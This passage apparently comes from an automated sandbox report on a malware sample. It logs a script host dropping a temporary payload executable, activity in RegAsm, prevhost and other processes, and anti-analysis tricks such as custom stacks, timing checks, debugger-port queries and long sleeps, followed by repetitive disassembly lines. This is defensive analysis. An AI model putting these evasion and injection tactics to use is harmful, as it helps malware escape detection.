                Source: C:\Windows\System32\wscript.exeFile created: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeJump to dropped file
                Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

                Malware Analysis System Evasion

                barindex
                Switches to a custom stack to bypass stack traces
                Source: C:\Windows\SysWOW64\prevhost.exeAPI/Special instruction interceptor: Address: 7FF90818D324
                Source: C:\Windows\SysWOW64\prevhost.exeAPI/Special instruction interceptor: Address: 7FF90818D7E4
                Source: C:\Windows\SysWOW64\prevhost.exeAPI/Special instruction interceptor: Address: 7FF90818D944
                Source: C:\Windows\SysWOW64\prevhost.exeAPI/Special instruction interceptor: Address: 7FF90818D504
                Source: C:\Windows\SysWOW64\prevhost.exeAPI/Special instruction interceptor: Address: 7FF90818D544
                Source: C:\Windows\SysWOW64\prevhost.exeAPI/Special instruction interceptor: Address: 7FF90818D1E4
                Source: C:\Windows\SysWOW64\prevhost.exeAPI/Special instruction interceptor: Address: 7FF908190154
                Source: C:\Windows\SysWOW64\prevhost.exeAPI/Special instruction interceptor: Address: 7FF90818DA44
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeMemory allocated: D40000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeMemory allocated: 28C0000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeMemory allocated: 2640000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030CD1C0 rdtsc 5_2_030CD1C0
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeWindow / User API: threadDelayed 9801Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeAPI coverage: 0.8 %
                Source: C:\Windows\SysWOW64\prevhost.exeAPI coverage: 3.1 %
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exe TID: 4120Thread sleep time: -922337203685477s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exe TID: 2752Thread sleep count: 173 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exe TID: 2752Thread sleep time: -346000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exe TID: 2752Thread sleep count: 9801 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exe TID: 2752Thread sleep time: -19602000s >= -30000sJump to behavior
                Source: C:\Program Files (x86)\nQVZJfiWcYnxqmRgvBgOjCCxJwlMeiKKpkPAnxypkDSNetfDGOOnMlddEMgbBxSVQonSy\RtAXBNCRrMdm.exe TID: 4860Thread sleep time: -30000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeLast function: Thread delayed
                Source: C:\Windows\SysWOW64\prevhost.exeLast function: Thread delayed
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00AFCDE0 FindFirstFileW,FindNextFileW,FindClose,9_2_00AFCDE0
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Program Files\Mozilla Firefox\firefox.exeAPI call chain: ExitProcess graph end nodegraph_12-5145
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030CD1C0 rdtsc 5_2_030CD1C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_004180A3 LdrLoadDll,5_2_004180A3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308A30B mov eax, dword ptr fs:[00000030h]5_2_0308A30B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308A30B mov eax, dword ptr fs:[00000030h]5_2_0308A30B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308A30B mov eax, dword ptr fs:[00000030h]5_2_0308A30B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D930B mov eax, dword ptr fs:[00000030h]5_2_030D930B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D930B mov eax, dword ptr fs:[00000030h]5_2_030D930B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D930B mov eax, dword ptr fs:[00000030h]5_2_030D930B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304C310 mov ecx, dword ptr fs:[00000030h]5_2_0304C310
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03070310 mov ecx, dword ptr fs:[00000030h]5_2_03070310
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307F32A mov eax, dword ptr fs:[00000030h]5_2_0307F32A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03047330 mov eax, dword ptr fs:[00000030h]5_2_03047330
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311132D mov eax, dword ptr fs:[00000030h]5_2_0311132D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311132D mov eax, dword ptr fs:[00000030h]5_2_0311132D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311A352 mov eax, dword ptr fs:[00000030h]5_2_0311A352
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D2349 mov eax, dword ptr fs:[00000030h]5_2_030D2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D2349 mov eax, dword ptr fs:[00000030h]5_2_030D2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D2349 mov eax, dword ptr fs:[00000030h]5_2_030D2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D2349 mov eax, dword ptr fs:[00000030h]5_2_030D2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D2349 mov eax, dword ptr fs:[00000030h]5_2_030D2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D2349 mov eax, dword ptr fs:[00000030h]5_2_030D2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D2349 mov eax, dword ptr fs:[00000030h]5_2_030D2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D2349 mov eax, dword ptr fs:[00000030h]5_2_030D2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D2349 mov eax, dword ptr fs:[00000030h]5_2_030D2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D2349 mov eax, dword ptr fs:[00000030h]5_2_030D2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D2349 mov eax, dword ptr fs:[00000030h]5_2_030D2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D2349 mov eax, dword ptr fs:[00000030h]5_2_030D2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D2349 mov eax, dword ptr fs:[00000030h]5_2_030D2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D2349 mov eax, dword ptr fs:[00000030h]5_2_030D2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D2349 mov eax, dword ptr fs:[00000030h]5_2_030D2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304D34C mov eax, dword ptr fs:[00000030h]5_2_0304D34C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304D34C mov eax, dword ptr fs:[00000030h]5_2_0304D34C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D035C mov eax, dword ptr fs:[00000030h]5_2_030D035C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D035C mov eax, dword ptr fs:[00000030h]5_2_030D035C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D035C mov eax, dword ptr fs:[00000030h]5_2_030D035C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D035C mov ecx, dword ptr fs:[00000030h]5_2_030D035C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D035C mov eax, dword ptr fs:[00000030h]5_2_030D035C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D035C mov eax, dword ptr fs:[00000030h]5_2_030D035C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03125341 mov eax, dword ptr fs:[00000030h]5_2_03125341
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03049353 mov eax, dword ptr fs:[00000030h]5_2_03049353
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03049353 mov eax, dword ptr fs:[00000030h]5_2_03049353
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030F437C mov eax, dword ptr fs:[00000030h]5_2_030F437C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03057370 mov eax, dword ptr fs:[00000030h]5_2_03057370
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03057370 mov eax, dword ptr fs:[00000030h]5_2_03057370
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03057370 mov eax, dword ptr fs:[00000030h]5_2_03057370
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0310F367 mov eax, dword ptr fs:[00000030h]5_2_0310F367
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307438F mov eax, dword ptr fs:[00000030h]5_2_0307438F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307438F mov eax, dword ptr fs:[00000030h]5_2_0307438F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304E388 mov eax, dword ptr fs:[00000030h]5_2_0304E388
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304E388 mov eax, dword ptr fs:[00000030h]5_2_0304E388
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304E388 mov eax, dword ptr fs:[00000030h]5_2_0304E388
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0312539D mov eax, dword ptr fs:[00000030h]5_2_0312539D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030A739A mov eax, dword ptr fs:[00000030h]5_2_030A739A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030A739A mov eax, dword ptr fs:[00000030h]5_2_030A739A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03048397 mov eax, dword ptr fs:[00000030h]5_2_03048397
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03048397 mov eax, dword ptr fs:[00000030h]5_2_03048397
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03048397 mov eax, dword ptr fs:[00000030h]5_2_03048397
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030733A5 mov eax, dword ptr fs:[00000030h]5_2_030733A5
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030833A0 mov eax, dword ptr fs:[00000030h]5_2_030833A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030833A0 mov eax, dword ptr fs:[00000030h]5_2_030833A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0310B3D0 mov ecx, dword ptr fs:[00000030h]5_2_0310B3D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305A3C0 mov eax, dword ptr fs:[00000030h]5_2_0305A3C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305A3C0 mov eax, dword ptr fs:[00000030h]5_2_0305A3C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305A3C0 mov eax, dword ptr fs:[00000030h]5_2_0305A3C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305A3C0 mov eax, dword ptr fs:[00000030h]5_2_0305A3C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305A3C0 mov eax, dword ptr fs:[00000030h]5_2_0305A3C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305A3C0 mov eax, dword ptr fs:[00000030h]5_2_0305A3C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030583C0 mov eax, dword ptr fs:[00000030h]5_2_030583C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030583C0 mov eax, dword ptr fs:[00000030h]5_2_030583C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030583C0 mov eax, dword ptr fs:[00000030h]5_2_030583C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030583C0 mov eax, dword ptr fs:[00000030h]5_2_030583C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0310C3CD mov eax, dword ptr fs:[00000030h]5_2_0310C3CD
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031253FC mov eax, dword ptr fs:[00000030h]5_2_031253FC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030603E9 mov eax, dword ptr fs:[00000030h]5_2_030603E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030603E9 mov eax, dword ptr fs:[00000030h]5_2_030603E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030603E9 mov eax, dword ptr fs:[00000030h]5_2_030603E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030603E9 mov eax, dword ptr fs:[00000030h]5_2_030603E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030603E9 mov eax, dword ptr fs:[00000030h]5_2_030603E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030603E9 mov eax, dword ptr fs:[00000030h]5_2_030603E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030603E9 mov eax, dword ptr fs:[00000030h]5_2_030603E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030603E9 mov eax, dword ptr fs:[00000030h]5_2_030603E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0310F3E6 mov eax, dword ptr fs:[00000030h]5_2_0310F3E6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306E3F0 mov eax, dword ptr fs:[00000030h]5_2_0306E3F0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306E3F0 mov eax, dword ptr fs:[00000030h]5_2_0306E3F0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306E3F0 mov eax, dword ptr fs:[00000030h]5_2_0306E3F0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030863FF mov eax, dword ptr fs:[00000030h]5_2_030863FF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03087208 mov eax, dword ptr fs:[00000030h]5_2_03087208
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03087208 mov eax, dword ptr fs:[00000030h]5_2_03087208
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03125227 mov eax, dword ptr fs:[00000030h]5_2_03125227
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304823B mov eax, dword ptr fs:[00000030h]5_2_0304823B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03049240 mov eax, dword ptr fs:[00000030h]5_2_03049240
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03049240 mov eax, dword ptr fs:[00000030h]5_2_03049240
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308724D mov eax, dword ptr fs:[00000030h]5_2_0308724D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0310B256 mov eax, dword ptr fs:[00000030h]5_2_0310B256
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0310B256 mov eax, dword ptr fs:[00000030h]5_2_0310B256
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304A250 mov eax, dword ptr fs:[00000030h]5_2_0304A250
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03056259 mov eax, dword ptr fs:[00000030h]5_2_03056259
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03100274 mov eax, dword ptr fs:[00000030h]5_2_03100274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03100274 mov eax, dword ptr fs:[00000030h]5_2_03100274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03100274 mov eax, dword ptr fs:[00000030h]5_2_03100274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03100274 mov eax, dword ptr fs:[00000030h]5_2_03100274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03100274 mov eax, dword ptr fs:[00000030h]5_2_03100274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03100274 mov eax, dword ptr fs:[00000030h]5_2_03100274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03100274 mov eax, dword ptr fs:[00000030h]5_2_03100274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03100274 mov eax, dword ptr fs:[00000030h]5_2_03100274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03100274 mov eax, dword ptr fs:[00000030h]5_2_03100274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03100274 mov eax, dword ptr fs:[00000030h]5_2_03100274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03100274 mov eax, dword ptr fs:[00000030h]5_2_03100274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03100274 mov eax, dword ptr fs:[00000030h]5_2_03100274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03054260 mov eax, dword ptr fs:[00000030h]5_2_03054260
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03054260 mov eax, dword ptr fs:[00000030h]5_2_03054260
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03054260 mov eax, dword ptr fs:[00000030h]5_2_03054260
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304826B mov eax, dword ptr fs:[00000030h]5_2_0304826B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03079274 mov eax, dword ptr fs:[00000030h]5_2_03079274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03091270 mov eax, dword ptr fs:[00000030h]5_2_03091270
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03091270 mov eax, dword ptr fs:[00000030h]5_2_03091270
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311D26B mov eax, dword ptr fs:[00000030h]5_2_0311D26B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311D26B mov eax, dword ptr fs:[00000030h]5_2_0311D26B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308E284 mov eax, dword ptr fs:[00000030h]5_2_0308E284
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308E284 mov eax, dword ptr fs:[00000030h]5_2_0308E284
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D0283 mov eax, dword ptr fs:[00000030h]5_2_030D0283
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D0283 mov eax, dword ptr fs:[00000030h]5_2_030D0283
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D0283 mov eax, dword ptr fs:[00000030h]5_2_030D0283
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03125283 mov eax, dword ptr fs:[00000030h]5_2_03125283
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308329E mov eax, dword ptr fs:[00000030h]5_2_0308329E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308329E mov eax, dword ptr fs:[00000030h]5_2_0308329E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030602A0 mov eax, dword ptr fs:[00000030h]5_2_030602A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030602A0 mov eax, dword ptr fs:[00000030h]5_2_030602A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030652A0 mov eax, dword ptr fs:[00000030h]5_2_030652A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030652A0 mov eax, dword ptr fs:[00000030h]5_2_030652A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030652A0 mov eax, dword ptr fs:[00000030h]5_2_030652A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030652A0 mov eax, dword ptr fs:[00000030h]5_2_030652A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030E62A0 mov eax, dword ptr fs:[00000030h]5_2_030E62A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030E62A0 mov ecx, dword ptr fs:[00000030h]5_2_030E62A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030E62A0 mov eax, dword ptr fs:[00000030h]5_2_030E62A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030E62A0 mov eax, dword ptr fs:[00000030h]5_2_030E62A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030E62A0 mov eax, dword ptr fs:[00000030h]5_2_030E62A0
